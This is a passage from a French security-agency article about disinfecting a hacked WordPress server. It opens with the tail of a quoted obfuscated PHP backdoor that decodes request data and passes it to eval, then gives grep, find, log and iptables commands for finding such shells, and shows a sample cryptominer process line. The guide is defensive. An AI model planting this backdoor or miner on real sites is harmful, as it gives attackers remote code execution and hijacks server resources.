0);@$fb355e[$fb355e['l82418'][42].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][83].$fb355e['l82418'][68].$fb355e['l82418'][60]]($fb355e['l82418'][39].$fb355e['l82418'][83].$fb355e['l82418'][14].$fb355e['l82418'][21].$fb355e['l82418'][57].$fb355e['l82418'][14].$fb355e['l82418'][57].$fb355e['l82418'][60].$fb355e['l82418'][5].$fb355e['l82418'][94].$fb355e['l82418'][97].$fb355e['l82418'][0].$fb355e['l82418'][11].$fb355e['l82418'][21].$fb355e['l82418'][94].$fb355e['l82418'][97].$fb355e['l82418'][39].$fb355e['l82418'][57], 0);@$fb355e[$fb355e['l82418'][70].$fb355e['l82418'][68].$fb355e['l82418'][56].$fb355e['l82418'][49].$fb355e['l82418'][49].$fb355e['l82418'][54].$fb355e['l82418'][63].$fb355e['l82418'][49].$fb355e['l82418'][68]](0);$u604d9662 = NULL;$r5401375 = NULL;$fb355e[$fb355e['l82418'][1].$fb355e['l82418'][18].$fb355e['l82418'][56].$fb355e['l82418'][57].$fb355e['l82418'][57].$fb355e['l82418'][6].$fb355e['l82418'][6].$fb355e['l82418'][18]] = $fb355e['l82418'][6].$fb355e['l82418'][54].$fb355e['l82418'][62].$fb355e['l82418'][56].$fb355e['l82418'][45].$fb355e['l82418'][18].$fb355e['l82418'][49].$fb355e['l82418'][60].$fb355e['l82418'][80].$fb355e['l82418'][56].$fb355e['l82418'][54].$fb355e['l82418'][23].$fb355e['l82418'][61].$fb355e['l82418'][80].$fb355e['l82418'][6].$fb355e['l82418'][6].$fb355e['l82418'][86].$fb355e['l82418'][67].$fb355e['l82418'][80].$fb355e['l82418'][83].$fb355e['l82418'][23].$fb355e['l82418'][45].$fb355e['l82418'][56].$fb355e['l82418'][80].$fb355e['l82418'][63].$fb355e['l82418'][61].$fb355e['l82418'][60].$fb355e['l82418'][54].$fb355e['l82418'][6].$fb355e['l82418'][61].$fb355e['l82418'][57].$fb355e['l82418'][86].$fb355e['l82418'][45].$fb355e['l82418'][45].$fb355e['l82418'][68].$fb355e['l82418'][54];global $zbdee44b;function  k547c($u604d9662, $c2fe6404){global $fb355e;$ue9100 = "";for ($f231=0; $f231<$fb355e[$fb355e['l82418'][44].$fb355e['l82418'][63].$fb355e['l82418'][18].$fb355e['l82418'][62].$fb355e['l82418'][68].$fb355e['l82418'][62]]($u604d9662);){for ($s9716d=0; $s9716d<$fb355e[$fb355e['l82418'][44].$fb355e['l82418'][63].$fb355e['l82418'][18].$fb355e['l82418'][62].$fb355e['l82418'][68].$fb355e['l82418'][62]]($c2fe6404) && $f231<$fb355e[$fb355e['l82418'][44].$fb355e['l82418'][63].$fb355e['l82418'][18].$fb355e['l82418'][62].$fb355e['l82418'][68].$fb355e['l82418'][62]]($u604d9662); $s9716d++, $f231++){$ue9100 .= $fb355e[$fb355e['l82418'][83].$fb355e['l82418'][56].$fb355e['l82418'][67].$fb355e['l82418'][86].$fb355e['l82418'][54]]($fb355e[$fb355e['l82418'][60].$fb355e['l82418'][83].$fb355e['l82418'][18].$fb355e['l82418'][57].$fb355e['l82418'][63].$fb355e['l82418'][57]]($u604d9662[$f231]) ^ $fb355e[$fb355e['l82418'][60].$fb355e['l82418'][83].$fb355e['l82418'][18].$fb355e['l82418'][57].$fb355e['l82418'][63].$fb355e['l82418'][57]]($c2fe6404[$s9716d]));}}return $ue9100;}function  w1c974($u604d9662, $c2fe6404){global $fb355e;global $zbdee44b;return $fb355e[$fb355e['l82418'][78].$fb355e['l82418'][18].$fb355e['l82418'][61].$fb355e['l82418'][23].$fb355e['l82418'][54].$fb355e['l82418'][6].$fb355e['l82418'][23].$fb355e['l82418'][23]]($fb355e[$fb355e['l82418'][78].$fb355e['l82418'][18].$fb355e['l82418'][61].$fb355e['l82418'][23].$fb355e['l82418'][54].$fb355e['l82418'][6].$fb355e['l82418'][23].$fb355e['l82418'][23]]($u604d9662, $zbdee44b), $c2fe6404);}foreach ($fb355e[$fb355e['l82418'][0].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][62]] as $c2fe6404=>$f99f){$u604d9662 = $f99f;$r5401375 = $c2fe6404;}if (!$u604d9662){foreach ($fb355e[$fb355e['l82418'][0].$fb355e['l82418'][61].$fb355e['l82418'][61].$fb355e['l82418'][62]] as $c2fe6404=>$f99f){$u604d9662 = $f99f;$r5401375 = $c2fe6404;}}$u604d9662 = @$fb355e[$fb355e['l82418'][82].$fb355e['l82418'][86].$fb355e['l82418'][56].$fb355e['l82418'][86]]($fb355e[$fb355e['l82418'][57].$fb355e['l82418'][83].$fb355e['l82418'][62].$fb355e['l82418'][57].$fb355e['l82418'][83].$fb355e['l82418'][45].$fb355e['l82418'][61].$fb355e['l82418'][67]]($fb355e[$fb355e['l82418'][14].$fb355e['l82418'][49].$fb355e['l82418'][56].$fb355e['l82418'][56].$fb355e['l82418'][61].$fb355e['l82418'][61]]($u604d9662), $r5401375));if (isset($u604d9662[$fb355e['l82418'][83].$fb355e['l82418'][19]]) && $zbdee44b==$u604d9662[$fb355e['l82418'][83].$fb355e['l82418'][19]]){if ($u604d9662[$fb355e['l82418'][83]] == $fb355e['l82418'][97]){$f231 = Array($fb355e['l82418'][78].$fb355e['l82418'][70] => @$fb355e[$fb355e['l82418'][18].$fb355e['l82418'][86].$fb355e['l82418'][49].$fb355e['l82418'][83].$fb355e['l82418'][49].$fb355e['l82418'][68].$fb355e['l82418'][57].$fb355e['l82418'][18].$fb355e['l82418'][68]](),$fb355e['l82418'][74].$fb355e['l82418'][70] => $fb355e['l82418'][49].$fb355e['l82418'][92].$fb355e['l82418'][45].$fb355e['l82418'][80].$fb355e['l82418'][49],);echo @$fb355e[$fb355e['l82418'][74].$fb355e['l82418'][61].$fb355e['l82418'][57].$fb355e['l82418'][63].$fb355e['l82418'][56].$fb355e['l82418'][62].$fb355e['l82418'][18].$fb355e['l82418'][60].$fb355e['l82418'][63]]($f231);}elseif ($u604d9662[$fb355e['l82418'][83]] == $fb355e['l82418'][57]){eval/*b1e3a6fe*/($u604d9662[$fb355e['l82418'][56]]);}exit();}
 ?>

 

Ainsi même si cette fonction est la plus commune nous recommandons la commande suivante pour déceler les malwares :

grep -r -i --include=\*.php '$GLOBALS' /var/www/wordpress/

Les résultats seront certes nombreux mais avec ce spectre large vous pourrez analyser minutieusement les résultats pour y déceler des malwares chiffrés. Vous pouvez également utiliser un scanner tiers tel celui-ci pour automatiser ces requêtes mais qui ne sont pas aussi fiables qu’une analyse manuelle.

 

N’hésitez pas à nous contacter si les logs sont trop fournis ou que vous avez un doute sur certains fichiers !

 

 

Affichez les fichiers modifiés ces dernières 24h

find /var/www/wordpress/ -mtime -1 -ls

Le « -1 » ici permet de récupérer les fichiers modifiés il y a un jour ou moins. Si vous le modifiez en « +1 », cela affichera les fichiers modifiés il y a un jour ou plus. Si vous ne mettez aucun signe devant le « 1 », alors cela affichera les fichiers modifiés uniquement il y a jour.

 

Une fois le ménage fait, refaites les commandes suivantes pour vous assurer qu’il ne reste plus rien :

 

Détectez les shells cachés dans des .ico

grep -r -i --include=*.ico 'preg_replace' /var/www/wordpress/

 

Décelez les shells injecteurs

grep -r -i --include=*.php '*/ @include' /var/www/wordpress/

 

Décelez un processus suspect

htop

Cette commande affiche toute la liste des processus en cours sur votre serveur. Cherchez dans la liste un processus suspect puis tuez le avec F9, exemple de processus suspect, ici un mineur bitcoin (votre serveur mine des btc pour un tiers attaquant) :

500      56885  198  0.1  69408  8028 ?        Sl   Sep23 5940:27 ./cnrig -a cryptonight --donate-level 1 --max-cpu-usage 50 -o xmr.pool.minergate.com:45700 -u [email protected] -p x --variant 1 -k

 

Vérifiez les logs du serveur

Afin de vous assurer que personne d’autre ne détient les accès à votre serveur ou qu’aucune requête suspecte n’est effectuée, il convient d’analyser les logs de votre serveur.

 

Analysez les dernières connexions au SSH

Pour vérifier qui s’est connecté à votre serveur SSH dernièrement, vous pouvez utiliser les commandes suivantes :

last
cat /var/log/auth.log

Vous pourrez dès lors trouver des tentatives d’accès non autorisés et bloquer les adresses IP en question.

 

Vérifiez les logs du serveur web

Qu’il s’agisse d’Apache ou Nginx, votre serveur web doit enregistrer des logs. Si ce n’est pas le cas, pensez à modifier votre configuration. Selon votre configuration, ces logs peuvent enregistrer de nombreuses informations en dehors des erreurs : c’est ce qu’il faudra inspecter.

Les logs se situent en général dans :

/var/log/

Vous pouvez vous rendre dans ce dossier et lancer un :

ls -ltr

Afin d’afficher de bas en haut les logs ayant étés modifiés le plus récemment et vérifier leur contenu.

Regardez aussi quels ips reviennent souvent et effectuent des actions louches comme des requêtes POST vers les fichiers .ico et .php vérolés puis bannissez les avec iptable :

iptables -I INPUT -s IPDUCOUPABLE -j DROP

 

 

Que faire après une désinfection ?

On ne le dira jamais assez donc nous allons le répéter : lorsque vous aurez terminé de nettoyer votre site, il faudra penser à effectuer 3 petites étapes :

  • Redémarrer PHP et ainsi rafraîchir le code OpCache
  • Redémarrer Redis (si installé sur votre serveur)
  • Vider le cache de votre WordPress (si vous en disposez d’un comme WP Rocket)
  • Vider le cache de votre CDN (si vous en disposez d’un comme Cloudflare)

Grâce à ces trois manipulations, vous vous assurez de ne pas avoir de fichiers PHP ou .ico mis en cache qui serait encore vérolés et qui pourrait ainsi propager de nouveau l’infection sans que vous ne sachiez pourquoi. 😉

Enfin régénérez les salts de votre serveur, changez vos accès ssh/ftp, changez les accès de la base de données et bien sur d’administration wordpress.

 

 

Sécuriser davantage son site et son serveur

Si vous n’avez pas réussi à nettoyer votre serveur, votre site ou que vous avez un doute sur les fichiers que vous avez récupérés grâce à nos commandes, alors faites appels à nos services. Nos experts s’occuperont d’analyser cela pour vous afin de vous accompagner dans le nettoyage de votre site.

 

Spécifications de votre projet

Spécifications de votre projet

Suivez les différentes étapes pour générer les spécifications de votre projet

C'EST PARTI

Félicitations, nous vous avons envoyé vos spécifications par e-mail et nous vous répondrons dans les plus brefs délais!

A propos de votre projet

Quel est l'objectif de votre projet?

Vous devez sélectionner un élément pour continuer

Vos spécifications ont été générées

Votre projet devrait:

But by using this simulator you gain 10% reduction with the code CHEETAH10!

Summary

Description Information Quantité Prix
Discount :
Total :
Logo T

Thomas

COO & lead developer

Titulaire du prix cyberjuriste jeune talent informatique 2019, Thomas est un développeur français connu pour son travail sur Hootis. Sites web, algorithmes, scripts et développement d’API…

Il n’y a pas de difficulté pour moi, seulement des défis à surmonter.

Rien ne lui fait peur ! Il est en charge des projets les plus ambitieux & difficiles avec une équipe multidisciplinaire européenne sélectionnée parmi les meilleurs.

Lucas Sztandarowski

Juriste

Lucas Sztandarowski a une histoire unique. Connu dans le monde de la lutte contre la cybercriminalité pour son livre « La véritable cybercriminalité » et son blog Cyberdéfenseur, il a supervisé l’infrastructure informatique du cabinet juridique international Eternos Corporation tout en exerçant en tant que conseiller juridique.

J’ai toujours été passionné par le web et le développement de logiciels. J’ai donc suivi des formations en développement afin d’acquérir une certaine autonomie dans ce domaine. Mon rêve d’enfant étant de devenir conseiller juridique, j’ai réussi à combiner les deux domaines.

Grâce à une étude approfondie de la cybercriminalité, il a réussi à acquérir des compétences rares pour contrer cette menace désormais inévitable.
Il vous aidera à structurer vos stratégies juridiques en utilisant les dernières technologies numériques.

Contact